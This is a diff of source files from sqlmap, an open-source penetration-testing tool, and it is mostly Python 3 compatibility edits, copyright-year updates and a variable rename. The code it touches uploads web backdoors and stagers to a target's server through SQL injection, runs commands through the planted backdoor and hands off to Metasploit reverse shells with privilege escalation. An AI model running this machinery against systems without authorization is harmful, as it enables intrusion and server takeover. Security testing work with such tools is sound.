from lib.core.common import getHostHeader from lib.core.common import getHostHeader
from lib.core.common import getSafeExString
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import logHTTPTraffic from lib.core.common import logHTTPTraffic
from lib.core.common import readInput from lib.core.common import readInput
@@ -75,9 +76,9 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
try: try:
content = fp.read(MAX_CONNECTION_TOTAL_SIZE) content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
except Exception, msg: except Exception as ex:
dbgMsg = "there was a problem while retrieving " dbgMsg = "there was a problem while retrieving "
dbgMsg += "redirect response content (%s)" % msg dbgMsg += "redirect response content ('%s')" % getSafeExString(ex)
logger.debug(dbgMsg) logger.debug(dbgMsg)
finally: finally:
if content: if content:
@@ -140,8 +141,8 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
try: try:
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
except urllib2.HTTPError, e: except urllib2.HTTPError as ex:
result = e result = ex
# Dirty hack for http://bugs.python.org/issue15701 # Dirty hack for http://bugs.python.org/issue15701
try: try:
@@ -153,7 +154,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
if not hasattr(result, "read"): if not hasattr(result, "read"):
def _(self, length=None): def _(self, length=None):
return e.msg return ex.msg
result.read = types.MethodType(_, result) result.read = types.MethodType(_, result)
if not getattr(result, "url", None): if not getattr(result, "url", None):
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+5 -3
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import sys import sys
from extra.safe2bin.safe2bin import safechardecode from extra.safe2bin.safe2bin import safechardecode
@@ -129,11 +131,11 @@ class Abstraction(Web, UDF, XP_cmdshell):
command = raw_input("os-shell> ") command = raw_input("os-shell> ")
command = getUnicode(command, encoding=sys.stdin.encoding) command = getUnicode(command, encoding=sys.stdin.encoding)
except KeyboardInterrupt: except KeyboardInterrupt:
print print()
errMsg = "user aborted" errMsg = "user aborted"
logger.error(errMsg) logger.error(errMsg)
except EOFError: except EOFError:
print print()
errMsg = "exit" errMsg = "exit"
logger.error(errMsg) logger.error(errMsg)
break break
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+8 -19
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import os import os
import re import re
import select import select
@@ -20,7 +22,6 @@ from lib.core.common import dataToStdout
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
from lib.core.common import getUnicode
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
from lib.core.common import pollProcess from lib.core.common import pollProcess
@@ -39,7 +40,6 @@ from lib.core.exception import SqlmapGenericException
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import METASPLOIT_SESSION_TIMEOUT
from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER
from lib.core.settings import UNICODE_ENCODING
from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import Popen as execute
@@ -168,19 +168,8 @@ class Metasploit:
choice = readInput(message, default="%d" % default) choice = readInput(message, default="%d" % default)
if not choice: if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1:
if lst: choice = default
choice = getUnicode(default, UNICODE_ENCODING)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self._skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self._skeletonSelection(msg, lst, maxValue, default)
choice = int(choice) choice = int(choice)
@@ -496,7 +485,7 @@ class Metasploit:
send_all(proc, "getuid\n") send_all(proc, "getuid\n")
if conf.privEsc: if conf.privEsc:
print print()
infoMsg = "trying to escalate privileges using Meterpreter " infoMsg = "trying to escalate privileges using Meterpreter "
infoMsg += "'getsystem' command which tries different " infoMsg += "'getsystem' command which tries different "
@@ -569,7 +558,7 @@ class Metasploit:
# For --os-pwn and --os-bof # For --os-pwn and --os-bof
pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond = self.connectionStr.startswith("reverse")
pwnBofCond &= "Starting the payload handler" in out pwnBofCond &= any(_ in out for _ in ("Starting the payload handler", "Started reverse"))
# For --os-smbrelay # For --os-smbrelay
smbRelayCond = "Server started" in out smbRelayCond = "Server started" in out
@@ -632,7 +621,7 @@ class Metasploit:
payloadSize = int(match.group(2)) payloadSize = int(match.group(2))
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2 payloadSize = payloadSize // 2
debugMsg = "the shellcode size is %d bytes" % payloadSize debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg) logger.debug(debugMsg)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+20 -21
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,7 +43,7 @@ from lib.core.enums import HTTP_HEADER
from lib.core.enums import OS from lib.core.enums import OS
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.enums import WEB_API from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import EVENTVALIDATION_REGEX
@@ -60,7 +60,7 @@ class Web:
""" """
def __init__(self): def __init__(self):
self.webApi = None self.webPlatform = None
self.webBaseUrl = None self.webBaseUrl = None
self.webBackdoorUrl = None self.webBackdoorUrl = None
self.webBackdoorFilePath = None self.webBackdoorFilePath = None
@@ -77,7 +77,7 @@ class Web:
if not cmd: if not cmd:
cmd = conf.osCmd cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
if page is not None: if page is not None:
@@ -109,14 +109,14 @@ class Web:
except TypeError: except TypeError:
pass pass
if self.webApi in getPublicTypeMembers(WEB_API, True): if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
multipartParams = { multipartParams = {
"upload": "1", "upload": "1",
"file": stream, "file": stream,
"uploadDir": directory, "uploadDir": directory,
} }
if self.webApi == WEB_API.ASPX: if self.webPlatform == WEB_PLATFORM.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
@@ -130,7 +130,7 @@ class Web:
else: else:
return True return True
else: else:
logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform)
return False return False
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
@@ -146,8 +146,7 @@ class Web:
query += "OR %d=%d " % (randInt, randInt) query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
query = agent.prefixQuery(query) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page = Request.queryPage(payload) page = Request.queryPage(payload)
@@ -159,13 +158,13 @@ class Web:
remote directory within the web server document root. remote directory within the web server document root.
""" """
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return return
self.checkDbmsOs() self.checkDbmsOs()
default = None default = None
choices = list(getPublicTypeMembers(WEB_API, True)) choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
for ext in choices: for ext in choices:
if conf.url.endswith(ext): if conf.url.endswith(ext):
@@ -173,7 +172,7 @@ class Web:
break break
if not default: if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
message = "which web application language does the web server " message = "which web application language does the web server "
message += "support?\n" message += "support?\n"
@@ -197,7 +196,7 @@ class Web:
logger.warn("invalid value, it must be between 1 and %d" % len(choices)) logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else: else:
self.webApi = choices[int(choice) - 1] self.webPlatform = choices[int(choice) - 1]
break break
if not kb.absFilePaths: if not kb.absFilePaths:
@@ -267,16 +266,16 @@ class Web:
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _ directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))
for directory in directories: for directory in directories:
if not directory: if not directory:
continue continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False uploaded = False
@@ -318,14 +317,14 @@ class Web:
infoMsg += "via UNION method" infoMsg += "via UNION method"
logger.info(infoMsg) logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp() handle, filename = tempfile.mkstemp()
os.close(handle) os.close(handle)
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_) f.write(_)
@@ -354,7 +353,7 @@ class Web:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
elif self.webApi == WEB_API.ASPX: elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
@@ -362,7 +361,7 @@ class Web:
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg) logger.info(infoMsg)
if self.webApi == WEB_API.ASP: if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match: if match:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

Some files were not shown because too many files have changed in this diff Show More